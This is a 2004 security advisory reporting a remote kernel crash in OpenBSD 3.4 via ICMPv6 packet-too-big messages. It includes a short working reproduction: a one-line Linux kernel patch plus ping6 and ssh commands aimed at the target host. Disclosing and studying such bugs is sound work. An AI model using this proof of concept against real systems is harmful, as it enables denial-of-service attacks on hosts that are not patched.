Remote openbsd crash with ip6

Remote openbsd crash with ip6, yet still openbsd much better than windows

Systems affected:
tested on openbsd 3.4
not clear about netbsd
freebsd not vulnerable

Risk: Medium
Date: 4 February 2004

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Description:
It is possible to remotely crash openbsd 3.4 if the host receives icmpv6
and there is a listening tcp port.
quoting de raadt: "it is just a crash."
remote crash which screws the kernel.
unknown whether this may be exploited for code execution.

Details:
The problem is triggered by setting small ipv6 mtu and then doing tcp
connect.
How to reproduce:
Patch linux kernel 2.4.24 net/ipv6/icmp.c :

case ICMPV6_ECHO_REPLY:
/* we coulnd't care less */
icmpv6_send(skb, ICMPV6_PKT_TOOBIG, 0, 68, skb->dev); //joro

then:
ping6 openbsd
ssh -6 openbsd

Workaround:
It is believed that openbsd current is not vulnerable.
netbsd current also seems to have related changes.
check:
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Vendor status:
open, net and free bsd were notified Sun, 1 Feb 2004 16:35:56 +0200

Georgi Guninski